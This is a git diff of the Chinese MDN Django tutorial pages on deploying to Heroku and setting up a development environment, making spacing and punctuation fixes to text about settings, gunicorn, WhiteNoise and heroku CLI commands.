+服务器计算机可以位于您的场所,并通过快速链接连接到 Internet,但使用托管“在云中”的计算机更为常见。这实际上意味着,您的代码在托管公司的数据中心的某台远程计算机(或可能是“虚拟”计算机)上运行。远程服务器通常会以特定价格,提供一些保证级别的计算资源(例如 CPU,RAM,存储器等)和互联网连接。
-这种可远程访问的计算/网络硬件,称为基础架构即服务(IaaS)。许多IaaS供应商,提供预安装特定操作系统的选项,您必须在其上安装生产环境的其他组件。其他供应商允许您选择功能更全面的环境,可能包括完整的 Django ,和 Web 服务器设置。
+这种可远程访问的计算/网络硬件,称为基础架构即服务(IaaS)。许多IaaS供应商,提供预安装特定操作系统的选项,您必须在其上安装生产环境的其他组件。其他供应商允许您选择功能更全面的环境,可能包括完整的 Django,和 Web 服务器设置。
-注意: 预构建环境可以使您的网站设置变得非常简单,因为它们会减少配置,但可用选项可能会限制您使用不熟悉的服务器(或其他组件),并且可能基于较旧版本的操作系统。通常最好自己安装组件,以便获得所需的组件,当您需要升级系统的某些部分时,您就知道从哪里开始!
+注意: 预构建环境可以使您的网站设置变得非常简单,因为它们会减少配置,但可用选项可能会限制您使用不熟悉的服务器(或其他组件),并且可能基于较旧版本的操作系统。通常最好自己安装组件,以便获得所需的组件,当您需要升级系统的某些部分时,您就知道从哪里开始!
其他托管服务提供商,支持 Django 作为平台即服务(PaaS)产品的一部分。在这种托管中,您不必担心大多数生产环境(Web 服务器,应用程序服务器,负载平衡器),因为主机平台会为您处理这些(以及为了扩展您的应用程序,而需要做的大部分工作)。这使得部署非常简单,因为您只需要专注于 Web 应用程序,而不是所有其他服务器的基础结构。
@@ -72,12 +69,12 @@什么是生产环境?
相对于 PaaS,一些开发人员会选择 IaaS 所提供的更高灵活性,而其他开发人员,则欣赏 PaaS 降低的维护开销,和更轻松地扩展。当您开始使用时,在 PaaS 系统上设置您的网站,要容易得多,因此我们将在本教程中这么做。
-提示: 如果您选择一个 Python/Django 友好的托管服务提供商,他们应该提供有关如何使用不同配置的网络服务器,应用服务器,反向代理等设置 Django 网站的说明(如果您选择 PaaS,这就没有关系了)。例如,Digital Ocean Django 社区文档 中的各种配置,有许多手把手指南。
+提示: 如果您选择一个 Python/Django 友好的托管服务提供商,他们应该提供有关如何使用不同配置的网络服务器,应用服务器,反向代理等设置 Django 网站的说明(如果您选择 PaaS,这就没有关系了)。例如,Digital Ocean Django 社区文档 中的各种配置,有许多手把手指南。
选择托管服务提供商
-已知有超过100个托管服务提供商,积极支持或与 Django 合作(您可以在 Djangofriendly hosts 主机上,找到相当广泛的列表)。这些供应商提供不同类型的环境(IaaS,PaaS),以及不同价格、不同级别的计算和网络资源。
+已知有超过 100 个托管服务提供商,积极支持或与 Django 合作(您可以在 Djangofriendly hosts 主机上,找到相当广泛的列表)。这些供应商提供不同类型的环境(IaaS,PaaS),以及不同价格、不同级别的计算和网络资源。
选择主机时需要考虑的一些事项:
@@ -93,12 +90,12 @@选择托管服务提供商
- 您所依赖的“免费”等级,是否会随着时间的推移而过期,以及迁移到更昂贵等级的成本,是否意味着,您最好一开始就使用其他服务!
-当你刚开始时,好消息是,有很多网站提供了 “免费” 的 “评估”、“开发者” 或 “爱好者” 计算环境。这些始终是资源相当受限/有限的环境,您需要注意,它们可能会在广告期限后过期。然而,它们非常适合在真实环境中,测试低流量站点,并且可以在您的站点变得更加繁忙时,付费取得更多资源,并轻松迁移。此类别中的热门选择包括Heroku, Python Anywhere, Amazon Web Services, Microsoft Azure 等。
+当你刚开始时,好消息是,有很多网站提供了“免费”的“评估”、“开发者”或“爱好者”计算环境。这些始终是资源相当受限/有限的环境,您需要注意,它们可能会在广告期限后过期。然而,它们非常适合在真实环境中,测试低流量站点,并且可以在您的站点变得更加繁忙时,付费取得更多资源,并轻松迁移。此类别中的热门选择包括Heroku, Python Anywhere, Amazon Web Services, Microsoft Azure 等。
许多提供商还有“基本”层,可提供更多有用的计算能力和更少的限制。Digital Ocean 和 Python Anywhere ,就是流行的托管服务提供商的例子,提供相对便宜的基本计算等级(每月 5 美元到 10 美元不等)。
-注意: 请记住,价格不是唯一的选择标准。如果您的网站成功,可能会发现,可扩展性是最重要的考虑因素。
+注意: 请记住,价格不是唯一的选择标准。如果您的网站成功,可能会发现,可扩展性是最重要的考虑因素。
让您的网站准备好发布
@@ -106,14 +103,14 @@让您的网站准备好发布
使用 django-admin 和 manage.py 工具创建的 Django 骨架网站,是为了使开发更容易而配置的。出于安全性或性能原因,许多 Django 项目设置(在settings.py中指定),在生产应该是不同的。
-提示: 通常有一个单独的 settings.py 文件用于生产环境,并从单独的文件或环境变量,导入敏感设置。即使其他源代码在公共存储库中可用,也应保护此文件。
+提示: 通常有一个单独的 settings.py 文件用于生产环境,并从单独的文件或环境变量,导入敏感设置。即使其他源代码在公共存储库中可用,也应保护此文件。
您必须检查的关键设置是:
- -
DEBUG
. 这应该在生产环境中设置为False
(DEBUG = False
)。这将停止显示敏感/机密调试跟踪和变量信息。SECRET_KEY
. 这是用于CRSF保护等的大随机值。重要的是,生产中使用的密钥,不应在源代码管理中、或在生产服务器外部可访问。 Django文档表明,可能最好从环境变量加载,或从仅供服务的文件中读取。 +SECRET_KEY
. 这是用于 CRSF 保护等的大随机值。重要的是,生产中使用的密钥,不应在源代码管理中、或在生产服务器外部可访问。Django 文档表明,可能最好从环境变量加载,或从仅供服务的文件中读取。# Read SECRET_KEY from an environment variable import os SECRET_KEY = os.environ['SECRET_KEY'] @@ -149,40 +146,40 @@让您的网站准备好发布
注意: 如果我们可以直接将
DJANGO_DEBUG
环境变量设置为True
或False
,而不是分别使用“any string”或“empty string”,那将更直观。不幸的是,环境变量值存储为 Python 字符串,计算结果为False
的唯一字符串,是空字符串(例如bool('')==False
)。部署清单(Django文档)中,提供了您可能要更改的完整设置清单。您还可以使用下面的终端命令,列出其中的一些:
+部署清单(Django 文档)中,提供了您可能要更改的完整设置清单。您还可以使用下面的终端命令,列出其中的一些:
python3 manage.py check --deploy-示例:在Heroku上安装LocalLibrary
+示例:在 Heroku 上安装 LocalLibrary
本节提供了如何在 Heroku PaaS cloud 云上安装 LocalLibrary 的实际演示。
-为何选择Heroku?
+为何选择 Heroku?
Heroku 是运行时间最长,且最受欢迎的基于云的 PaaS 服务之一。它最初只支持 Ruby 应用程序,但现在可用于托管来自许多编程环境的应用程序,包括 Django!
-我们选择使用Heroku有以下几个原因:
+我们选择使用 Heroku 有以下几个原因:
-
- Heroku 有一个真正免费的免费套餐free tier (尽管有一些限制)。
- 作为 PaaS,Heroku 为我们提供了大量的 Web 基础架构。这使得入门更加容易,因为您不必担心 Heroku 为我们提供的服务器,负载平衡器,反向代理或任何其他 Web 基础结构。
- 虽然它确实有一些限制,但这些不会影响本教程的应用程序。例如:
-
- Heroku只提供短期储存,因此用户上传的文件无法安全地存储在 Heroku 本身。
+- Heroku 只提供短期储存,因此用户上传的文件无法安全地存储在 Heroku 本身。
- 如果半小时内没有请求,免费套餐将使不活动的网络应用程序进入睡眠。然后,该网站可能需要几秒钟才能被唤醒。
-- 免费套餐将您网站运行的时间,限制为每月一定的小时数(不包括网站“睡着”的时间)。这对于低使用/演示站点来说很好,但如果需要100%的正常运行时间则不适用。
+- 免费套餐将您网站运行的时间,限制为每月一定的小时数(不包括网站“睡着”的时间)。这对于低使用/演示站点来说很好,但如果需要 100%的正常运行时间则不适用。
- 在 Limits (Heroku 文档) 中列出了其他限制。
- 大多数情况下它只是能工作,如果你最终喜欢它,扩展你的应用程序非常容易。
虽然 Heroku 非常适合用于此演示,但它可能并不适合您的真实网站。 Heroku可以轻松设置和扩展,但代价是灵活性较低,而且一旦退出免费套餐,可能会花费更多。
+虽然 Heroku 非常适合用于此演示,但它可能并不适合您的真实网站。Heroku 可以轻松设置和扩展,但代价是灵活性较低,而且一旦退出免费套餐,可能会花费更多。
-Heroku是如何工作的?
+Heroku 是如何工作的?
-Heroku 在一个或多个 “Dynos” 中,运行Django网站,这是一个独立的虚拟化 Unix 容器,提供运行应用程序所需的环境。Dynos 是完全隔离的,并且有一个短暂的文件系统(一个短暂的文件系统,每次dyno 重新启动时,都会清理/清空)。 Dynos 默认共享的唯一内容,是应用程序配置变量。 Heroku 内部使用负载均衡器,将 Web 流量分配给所有 “web” dynos。由于他们之间没有任何共享,Heroku可以通过添加更多 dynos ,来水平扩展应用程序(当然,您可能还需要扩展数据库,以接受其他连接)。
+Heroku 在一个或多个“Dynos”中,运行 Django 网站,这是一个独立的虚拟化 Unix 容器,提供运行应用程序所需的环境。Dynos 是完全隔离的,并且有一个短暂的文件系统(一个短暂的文件系统,每次 dyno 重新启动时,都会清理/清空)。Dynos 默认共享的唯一内容,是应用程序配置变量。Heroku 内部使用负载均衡器,将 Web 流量分配给所有“web”dynos。由于他们之间没有任何共享,Heroku 可以通过添加更多 dynos,来水平扩展应用程序(当然,您可能还需要扩展数据库,以接受其他连接)。
由于文件系统是暂时的,因此无法直接安装应用程序所需的服务(例如数据库,队列,缓存系统,存储,电子邮件服务等)。取代的是,Heroku Web 应用程序,使用 Heroku 或第三方作为独立“附加组件”提供的支持服务。一旦连接到 Web 应用程序,dynos 就会使用应用程序配置变量中包含的信息,来访问服务。
@@ -190,29 +187,29 @@Heroku是如何工作的?
-
- runtime.txt: 要使用的编程语言和版本。
-- requirements.txt: Python组件依赖项,包括Django。
-- Procfile: 启动 Web 应用程序要执行的进程列表。对于Django,这通常是 Gunicorn Web 应用程序服务器(带有
-.wsgi
脚本)。- wsgi.py: 在 Heroku 环境中,调用我们的Django 应用程序的 WSGI 配置。
+- requirements.txt: Python 组件依赖项,包括 Django。
+- Procfile: 启动 Web 应用程序要执行的进程列表。对于 Django,这通常是 Gunicorn Web 应用程序服务器(带有
+.wsgi
脚本)。- wsgi.py: 在 Heroku 环境中,调用我们的 Django 应用程序的 WSGI 配置。
开发人员使用特殊的客户端应用程序/终端与 Heroku 交互,这很像Unix bash 脚本。这允许您上传存在 git 储存库中的代码,检查正在运行的进程,查看日志,设置配置变量等等!
+开发人员使用特殊的客户端应用程序/终端与 Heroku 交互,这很像 Unix bash 脚本。这允许您上传存在 git 储存库中的代码,检查正在运行的进程,查看日志,设置配置变量等等!
-为了让我们的应用程序在Heroku上工作,我们需要将我们的 Django Web 应用程序,放入git储存库,添加上面的文件,集成数据库附加组件,并进行更改,以正确处理静态文件。
+为了让我们的应用程序在 Heroku 上工作,我们需要将我们的 Django Web 应用程序,放入 git 储存库,添加上面的文件,集成数据库附加组件,并进行更改,以正确处理静态文件。
完成所有操作后,我们可以设置 Heroku 帐户,获取 Heroku 客户端,并使用它来安装我们的网站。
-注意: 以下说明反映了在撰写本书时,如何使用 Heroku。如果 Heroku 显着改变了他们的操作过程,您可能希望检查他们的设置文档:在Heroku上开始使用 Django。
+注意: 以下说明反映了在撰写本书时,如何使用 Heroku。如果 Heroku 显着改变了他们的操作过程,您可能希望检查他们的设置文档:在 Heroku 上开始使用 Django。
就是您一开始所需的所有概述(请参阅 Heroku 如何工作,以获取更全面的指南)。
在 Github 中创建应用程序储存库
-Heroku 与 git 源代码版本控制系统紧密集成,使用它来上传/同步您对实时系统所做的任何更改。它通过添加一个名为 heroku 的新的heroku “远程” 储存库,来指向 Heroku 云上的源储存库。在开发期间,您使用 git 在“主”储存库中储存更改。如果要部署站点,请将更改同步到 Heroku 储存库。
+Heroku 与 git 源代码版本控制系统紧密集成,使用它来上传/同步您对实时系统所做的任何更改。它通过添加一个名为 heroku 的新的 heroku“远程”储存库,来指向 Heroku 云上的源储存库。在开发期间,您使用 git 在“主”储存库中储存更改。如果要部署站点,请将更改同步到 Heroku 储存库。
-注意: 如果您习惯于遵循良好的软件开发实践,那么您可能已经在使用 git,或其他一些 SCM 系统。如果您已有 git 储存库,则可以跳过此步骤。
+注意: 如果您习惯于遵循良好的软件开发实践,那么您可能已经在使用 git,或其他一些 SCM 系统。如果您已有 git 储存库,则可以跳过此步骤。
有很多方法可以使用 git,但最简单的方法之一,是首先在 Github 上建立一个帐户,在那里创建储存库,然后将它同步到本地:
@@ -222,15 +219,15 @@在 Github 中创建应用程
- 登录后,点击顶部工具栏中的 + 链接,然后选择新建储存库 New repository。
- 填写此表单上的所有字段。虽然这些不是强制性的,但强烈建议使用它们。
-
- 输入新的储存库名称(例如 django_local_library)和描述(例如 “用 Django编写的本地图书馆网站”)。
-- 在Add .gitignore 选择列表中,选择 Python。
+- 输入新的储存库名称(例如 django_local_library)和描述(例如“用 Django 编写的本地图书馆网站”)。
+- 在 Add .gitignore 选择列表中,选择 Python。
- 在添加许可证选择列表中,选择您想要的许可证。
- 选中使用自述文件初始化此储存库(Initialize this repository with a README)。
- 点击 Create repository.
-- 点击新仓库页面上的绿色 “克隆或下载” (Clone or download)按钮 。
-- 从显示的对话框中的文本字段中复制URL值(它应该类似于: https://github.com/<your_git_user_id>/django_local_library.git)。
+- 点击新仓库页面上的绿色“克隆或下载” (Clone or download)按钮。
+- 从显示的对话框中的文本字段中复制 URL 值(它应该类似于: https://github.com/<your_git_user_id>/django_local_library.git)。
现在创建了储存库(“repo”),我们将要在本地计算机上克隆它:
@@ -246,7 +243,7 @@在 Github 中创建应用程 -
最后一步是复制你的应用程序,然后使用 git ,将文件添加到你的仓库:
+最后一步是复制你的应用程序,然后使用 git,将文件添加到你的仓库:
-
- 将您的 Django 应用程序,复制到此文件夹(与 manage.py 级别相同的、和以下级别的所有文件,而不是包含 locallibrary 文件夹的文件)。
@@ -283,10 +280,10 @@在 Github 中创建应用程
完成此操作后,您应该可以返回创建储存库的 Github上的页面,刷新页面,并看到您的整个应用程序已经上传。使用此添加/提交/推送循环,您可以在文件更改时,继续更新储存库。
+完成此操作后,您应该可以返回创建储存库的 Github 上的页面,刷新页面,并看到您的整个应用程序已经上传。使用此添加/提交/推送循环,您可以在文件更改时,继续更新储存库。
--提示: 这是备份您的“vanilla”项目的一个好时机 - 虽然我们将在以下部分中,进行的一些更改,可能对有些人在任何平台(或开发)上的部署有用,对其他人可能没有用。
+提示: 这是备份您的“vanilla”项目的一个好时机 - 虽然我们将在以下部分中,进行的一些更改,可能对有些人在任何平台(或开发)上的部署有用,对其他人可能没有用。
执行此操作的最佳方法,是使用 git 来管理您的修订。使用 git,您不仅可以回到特定的旧版本,而且可以在生产变更的单独“分支”中进行维护,并选择在生产和开发分支之间移动的任何更改。学习 Git 非常值得,但超出了本主题的范围。
@@ -295,7 +292,7 @@在 Github 中创建应用程
更新 Heroku 的应用程序
-本节介绍了您需要对 LocalLibrary 应用程序进行的更改,以使其在Heroku上运行。虽然 Heroku 的在 Heroku 使用 Django 入门教程,假设您将使用 Heroku 客户端,来运行您的本地开发环境,但我们的更改,与现有的 Django 开发服务器,以及我们已经学习的工作方式兼容。
+本节介绍了您需要对 LocalLibrary 应用程序进行的更改,以使其在 Heroku 上运行。虽然 Heroku 的在 Heroku 使用 Django 入门教程,假设您将使用 Heroku 客户端,来运行您的本地开发环境,但我们的更改,与现有的 Django 开发服务器,以及我们已经学习的工作方式兼容。
Procfile
@@ -303,7 +300,7 @@Procfile
web: gunicorn locallibrary.wsgi --log-file --“
+web:
”告诉 Heroku ,这是一个 web dyno,可以发送 HTTP 流量。在这个 dyno 中启动的进程,是 gunicorn,这是 Heruko 推荐的一种流行的 Web 应用程序服务器。我们使用模块locallibrary.wsgi
(使用我们的应用程序框架创建:/locallibrary/wsgi.py )中的配置信息启动 Gunicorn。“
web:
”告诉 Heroku,这是一个 web dyno,可以发送 HTTP 流量。在这个 dyno 中启动的进程,是 gunicorn,这是 Heruko 推荐的一种流行的 Web 应用程序服务器。我们使用模块locallibrary.wsgi
(使用我们的应用程序框架创建:/locallibrary/wsgi.py )中的配置信息启动 Gunicorn。Gunicorn
@@ -341,10 +338,10 @@settings.py
DATABASES['default'].update(db_from_env)-@@ -353,7 +350,7 @@注意:
+注意:
-
- 我们仍然会在开发期间使用SQLite,因为我们的开发计算机上不会设置
+DATABASE_URL
环境变量。- 我们仍然会在开发期间使用 SQLite,因为我们的开发计算机上不会设置
DATABASE_URL
环境变量。conn_max_age=500
的值使连接持久,这比在每个请求周期重新创建连接更有效。但是,这是可选的,如果需要可以删除。psycopg2 (Python Postgres dat
Django 需要 psycopg2 来处理 Postgres 数据库,你需要将它添加到requirements.txt 中,以便 Heroku 在远程服务器上进行设置(如下面的 requirements 部分所述)。
-Django 默认会在本地使用我们的 SQLite 数据库,因为我们的本地环境中,没有设置
+DATABASE_URL
环境变量。如果您想完全切换到Postgres ,并使用我们的 Heroku 免费等级数据库,进行开发和生产,那么您可以这么做。例如,要在基于 Linux 的系统上,本地安装psycopg2 及其依赖项,您将使用以下 bash / terminal 命令:Django 默认会在本地使用我们的 SQLite 数据库,因为我们的本地环境中,没有设置
DATABASE_URL
环境变量。如果您想完全切换到 Postgres,并使用我们的 Heroku 免费等级数据库,进行开发和生产,那么您可以这么做。例如,要在基于 Linux 的系统上,本地安装 psycopg2 及其依赖项,您将使用以下 bash / terminal 命令:sudo apt-get install python-pip python-dev libpq-dev postgresql postgresql-contrib
pip3 install psycopg2 @@ -368,16 +365,16 @@在生产环境中提供静态文
在开发过程中,我们使用 Django 和 Django 开发 Web 服务器,来提供静态文件(CSS,JavaScript 等)。在生产环境中,我们通常提供来自内容传送网络(CDN)或 Web 服务器的静态文件。
--注意: 通过 Django/web 应用程序提供静态文件是低效的,因为请求必须通过不必要的附加代码(Django),而不是由 Web 服务器或完全独立的 CDN 直接处理。虽然这对于开发期间的本地使用无关紧要,但如果我们在生产环境中使用相同的方法,则会对性能产生重大影响。
+注意: 通过 Django/web 应用程序提供静态文件是低效的,因为请求必须通过不必要的附加代码(Django),而不是由 Web 服务器或完全独立的 CDN 直接处理。虽然这对于开发期间的本地使用无关紧要,但如果我们在生产环境中使用相同的方法,则会对性能产生重大影响。
为了便于将静态文件与 Django Web 应用程序分开托管,Django 提供了 collectstatic 工具,来收集这些文件以进行部署(有一个设置变量,用于定义在运行 collectstatic 时,应该收集文件的位置)。 Django 模板是指相对于设置变量(
+STATIC_URL
)的静态文件的托管位置,因此如果将静态文件移动到另一个主机/服务器,则可以更改此位置。为了便于将静态文件与 Django Web 应用程序分开托管,Django 提供了 collectstatic 工具,来收集这些文件以进行部署(有一个设置变量,用于定义在运行 collectstatic 时,应该收集文件的位置)。Django 模板是指相对于设置变量(
STATIC_URL
)的静态文件的托管位置,因此如果将静态文件移动到另一个主机/服务器,则可以更改此位置。相关的设置变量是:
-
@@ -397,14 +394,14 @@- -
STATIC_URL
: 这是将提供静态文件的基本 URL 位置,例如,在CDN上。这用于在我们的基本模板中访问的静态模板变量(请参阅 Django 教程 5:创建我们的主页)。- +
STATIC_ROOT
: 这是 Django 的 “collectstatic” 工具将收集模板中引用的任何静态文件的目录的绝对路径。收集完成后,可以将这些文件,作为一个组上载到托管文件的任何位置。- +
STATIC_URL
: 这是将提供静态文件的基本 URL 位置,例如,在 CDN 上。这用于在我们的基本模板中访问的静态模板变量(请参阅 Django 教程 5:创建我们的主页)。STATIC_ROOT
: 这是 Django 的“collectstatic”工具将收集模板中引用的任何静态文件的目录的绝对路径。收集完成后,可以将这些文件,作为一个组上载到托管文件的任何位置。STATICFILES_DIRS
: 这列出了 Django 的 collectstatic 工具应该搜索静态文件的其他目录。settings.py
我们实际上,将使用名为 WhiteNoise 的库来提供文件,我们将在下一节中安装和配置。
-有关更多信息,请参阅 Django和静态资产(Heroku 文档)。
+有关更多信息,请参阅 Django 和静态资产(Heroku 文档)。
-
Whitenoise有许多方法可以在生产环境中提供静态文件(我们在前面的部分中看到了相关的 Django 设置)。 Heroku 建议在生产环境中使用 WhiteNoise 项目,直接从 Gunicorn 提供静态资产。
+有许多方法可以在生产环境中提供静态文件(我们在前面的部分中看到了相关的 Django 设置)。Heroku 建议在生产环境中使用 WhiteNoise 项目,直接从 Gunicorn 提供静态资产。
-注意: Heroku 会在上传您的应用程序后,自动调用collectstatic 并准备静态文件,以供 WhiteNoise 使用。查看 WhiteNoise 文档,了解其工作原理以及实现,为什么是提供这些文件的相对有效方法。
+注意:Heroku 会在上传您的应用程序后,自动调用 collectstatic 并准备静态文件,以供 WhiteNoise 使用。查看 WhiteNoise 文档,了解其工作原理以及实现,为什么是提供这些文件的相对有效方法。
设置 WhiteNoise 以便在项目中使用的步骤如下:
@@ -441,7 +438,7 @@settings.py
Requirements
-Web 应用程序的 Python requirements ,必须放在储存库根目录中的文件 requirements.txt 中。然后 Heroku 将在重建您的环境时,自动安装它们。您可以在命令行上,使用 pip 创建此文件(在 repo 根目录中,运行以下命令):
+Web 应用程序的 Python requirements,必须放在储存库根目录中的文件 requirements.txt 中。然后 Heroku 将在重建您的环境时,自动安装它们。您可以在命令行上,使用 pip 创建此文件(在 repo 根目录中,运行以下命令):
pip3 freeze > requirements.txt@@ -465,7 +462,7 @@Runtime
python-3.6.4-注意: Heroku 只支持少量的 Python 运行库(在编写本文时,包括上面的那个)。 Heroku 将使用受支持的运行库,而不管此文件中指定的值。
+注意: Heroku 只支持少量的 Python 运行库(在编写本文时,包括上面的那个)。Heroku 将使用受支持的运行库,而不管此文件中指定的值。
将更改保存到 Github 并重新测试
@@ -484,7 +481,7 @@将更改保存到 Github 并
获取 Heroku 帐户
-要开始使用Heroku,您首先需要创建一个帐户:
+要开始使用 Heroku,您首先需要创建一个帐户:
- 访问 www.heroku.com ,并单击免费注册按钮(SIGN UP FOR FREE)。
@@ -510,18 +507,18 @@创建并上传网站
heroku create-注意: 如果您愿意,可以通过在“创建”之后指定值来命名远程。如果你不这样做,你会得到一个随机的名字。该名称用于默认URL。
+注意: 如果您愿意,可以通过在“创建”之后指定值来命名远程。如果你不这样做,你会得到一个随机的名字。该名称用于默认 URL。
然后我们可以将应用程序,推送到 Heroku 储存库,如下所示。这将上传应用程序,将其打包到 dyno 中,运行 collectstatic,然后启动该站点。
git push heroku master-如果我们很幸运,该应用程序现在在网站上“运行”,但它将无法正常工作,因为我们尚未设置数据库表,以供我们的应用程序使用。为此,我们需要使用 heroku run命令,并启动 “one off dyno” 来执行迁移操作。在终端中输入以下命令:
+如果我们很幸运,该应用程序现在在网站上“运行”,但它将无法正常工作,因为我们尚未设置数据库表,以供我们的应用程序使用。为此,我们需要使用 heroku run 命令,并启动“one off dyno”来执行迁移操作。在终端中输入以下命令:
heroku run python manage.py migrate-我们还需要能够添加书本和作者,所以我们再次使用一次性dyno,创建我们的管理超级用户:
+我们还需要能够添加书本和作者,所以我们再次使用一次性 dyno,创建我们的管理超级用户:
heroku run python manage.py createsuperuser@@ -542,7 +539,7 @@管理附加组件(插件)
heroku-postgresql (postgresql-flat-26536) hobby-dev free created └─ as DATABASE -在这里,我们看到我们只有一个附加组件,即 postgres SQL数据库。这是免费的,并且是在我们创建应用时,自动创建的。您可以使用以下命令,更详细地打开网页,以检查数据库附加组件(或任何其他附加组件):
+在这里,我们看到我们只有一个附加组件,即 postgres SQL 数据库。这是免费的,并且是在我们创建应用时,自动创建的。您可以使用以下命令,更详细地打开网页,以检查数据库附加组件(或任何其他附加组件):
heroku addons:open heroku-postgresql@@ -561,7 +558,7 @@设定配置变量
如果您回想起来准备发布网站的部分,我们必须为
DJANGO_SECRET_KEY
和DJANGO_DEBUG
设置环境变量。我们现在就这样做。-注意: 密钥需要真正的保密!生成新密钥的一种方法,是创建一个新的 Django 项目(
+django-admin startproject someprojectname
),然后从 settings.py 中,获取为您生成的密钥。注意: 密钥需要真正的保密!生成新密钥的一种方法,是创建一个新的 Django 项目(
django-admin startproject someprojectname
),然后从 settings.py 中,获取为您生成的密钥。我们使用
@@ -598,7 +595,7 @@config:set
命令,设置DJANGO_SECRET_KEY
(如下所示)。记得使用自己的密钥!设定配置变量
除错调试
-Heroku客户端提供了一些调试工具:
+Heroku 客户端提供了一些调试工具:
heroku logs # Show current logs heroku logs --tail # Show current logs and keep updating with any new results @@ -610,7 +607,7 @@除错调试
总结
-本教程讲述如何在生产环境中配置Django应用,也是本系列Django教程的结尾。我们希望你觉得教程有用。你可以在Github上取得一个完全可工作版本的源码(用力点击此处)。
+本教程讲述如何在生产环境中配置 Django 应用,也是本系列 Django 教程的结尾。我们希望你觉得教程有用。你可以在 Github 上取得一个完全可工作版本的源码(用力点击此处)。
下一步是阅读我们此前的一些文章,然后完成评估任务。
diff --git a/files/zh-cn/learn/server-side/django/development_environment/index.html b/files/zh-cn/learn/server-side/django/development_environment/index.html index e7c17b65bf554d..4abe20e0005cdd 100644 --- a/files/zh-cn/learn/server-side/django/development_environment/index.html +++ b/files/zh-cn/learn/server-side/django/development_environment/index.html @@ -1,5 +1,5 @@ --- -title: 设置Django开发环境 +title: 设置 Django 开发环境 slug: Learn/Server-side/Django/development_environment tags: - Python @@ -11,64 +11,64 @@{{PreviousMenuNext("Learn/Server-side/Django/Introduction", "Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django")}}-现在,你知道什么是Django。
+
- 那么我们将向你展示如何在Windows,Linux(Ubuntu)和 Mac OSX上设置和测试Django开发环境—无论你常用哪种操作系统,本文能给你开发Django应用所需的一切。现在,你知道什么是 Django。
+ 那么我们将向你展示如何在 Windows,Linux(Ubuntu)和 Mac OSX 上设置和测试 Django 开发环境—无论你常用哪种操作系统,本文能给你开发 Django 应用所需的一切。
- 先决条件: +先决条件: 知道如何在你开发所用的计算机操作系统中,打开终端/命令行和安装软件包。 - 目的: -在你的计算机中运行Django(1.10)开发环境。 +目的: +在你的计算机中运行 Django(1.10)开发环境。 Django 开发环境概述
-Django 使你可以轻松配置自己的电脑,以便开始开发网络应用。本节解释您可以从开发环境中获得什么,并提供一些设置和配置选项的概述。本文的其余部分介绍了在Ubuntu,Mac OSX和Windows上安装Django开发环境的 推荐方法,以及如何测试。
+Django 使你可以轻松配置自己的电脑,以便开始开发网络应用。本节解释您可以从开发环境中获得什么,并提供一些设置和配置选项的概述。本文的其余部分介绍了在Ubuntu,Mac OSX 和Windows上安装 Django 开发环境的 推荐方法,以及如何测试。
-什么是Django开发环境?
+什么是 Django 开发环境?
-开发环境是本地计算机上的Django安装,在将Django应用程序部署到生产环境之前,您可以使用它来开发和测试Django应用程序。
+开发环境是本地计算机上的 Django 安装,在将 Django 应用程序部署到生产环境之前,您可以使用它来开发和测试 Django 应用程序。
-Django 本身提供的主要工具是一组用于创建和使用Django项目的Python脚本,以及可在你电脑的web 浏览器中测试本地Django web应用(在你的计算机,而不是在外部的web 服务器)。
+Django 本身提供的主要工具是一组用于创建和使用 Django 项目的 Python 脚本,以及可在你电脑的 web 浏览器中测试本地 Django web 应用(在你的计算机,而不是在外部的 web 服务器)。
-还有其他外部工具, 它们构成了开发环境的一部分, 我们将不再赘述。这些包括 文本编辑器 或编辑代码的IDE,以及像 Git 这样的源代码控制管理工具,用于安全地管理不同版本的代码。我们假设你已经安装了一个文本编辑器。
+还有其他外部工具,它们构成了开发环境的一部分,我们将不再赘述。这些包括 文本编辑器 或编辑代码的 IDE,以及像 Git 这样的源代码控制管理工具,用于安全地管理不同版本的代码。我们假设你已经安装了一个文本编辑器。
-什么是Django设置选项?
+什么是 Django 设置选项?
-Django 在安装和配置方面非常灵活。Django可以:
+Django 在安装和配置方面非常灵活。Django 可以:
-
- 安装在不同的操作系统上。
-- 通过源代码、Python包索引(PyPi)进行安装,而大多数情况下,是通过主机的包管理应用程序安装的。
+- 通过源代码、Python 包索引(PyPi)进行安装,而大多数情况下,是通过主机的包管理应用程序安装的。
- 配置为使用几个数据库之一,可能还需要单独安装和配置。
-- 在主系统的Python环境或在单独的Python虚拟环境中运行。
+- 在主系统的 Python 环境或在单独的 Python 虚拟环境中运行。
每个选项都需要略微不同的配置和设置。以下小节解释了你的一些选择。在本文的其余部分中,我们将介绍Django在几个操作系统上的设置,并且在本教程的剩余模块中将假设你已进行该设置。
+每个选项都需要略微不同的配置和设置。以下小节解释了你的一些选择。在本文的其余部分中,我们将介绍 Django 在几个操作系统上的设置,并且在本教程的剩余模块中将假设你已进行该设置。
-支持哪些操作系统?
+支持哪些操作系统?
-Django web应用程序能运行在几乎任何可以运行Python3的计算机上:Windows,Mac OSX,Linux/Unix,Solaris,仅举几例。几乎任何计算机都具备在开发期间运行Django所需的性能。
+Django web 应用程序能运行在几乎任何可以运行 Python3 的计算机上:Windows,Mac OSX,Linux/Unix,Solaris,仅举几例。几乎任何计算机都具备在开发期间运行 Django 所需的性能。
-在本文中。我们将提供Windows,macOS 和Linux/Unix的说明。
+在本文中。我们将提供 Windows,macOS 和Linux/Unix的说明。
-你应该使用什么版本的Python?
+你应该使用什么版本的 Python?
-我们建议你使用最近发行的版本,在本文档写作的时候是Python 3.8.2。
+我们建议你使用最近发行的版本,在本文档写作的时候是 Python 3.8.2。
-事实上,Python 3.5 以及更新的版本都可以用来开发,不过对Python 3.5的支持可能会在未来的版本更新中被移除。
+事实上,Python 3.5 以及更新的版本都可以用来开发,不过对 Python 3.5 的支持可能会在未来的版本更新中被移除。
-我们建议你使用最新版本的Python 3,除非该站点依赖于仅适用于Python 2 的第三方库。本文将介绍如何为Python 3安装环境(Python 2 的等效设置将非常相似)。
+我们建议你使用最新版本的 Python 3,除非该站点依赖于仅适用于 Python 2 的第三方库。本文将介绍如何为 Python 3 安装环境(Python 2 的等效设置将非常相似)。
@@ -77,137 +77,137 @@
你应该使用什么版本的Pyth
注意: Python 2.7 无法用于当前的 Django 发行版本(Django 1.11.x 系列是最后支持 Python 2.7 的版本)。
我们在哪里下载Django?
+我们在哪里下载 Django?
-有三个地方可以下载Django:
+有三个地方可以下载 Django:
-
-- Python包资源库 (PyPi)。并用 pip 工具进行安装,这是获取Django 最新稳定版本的最佳方式。
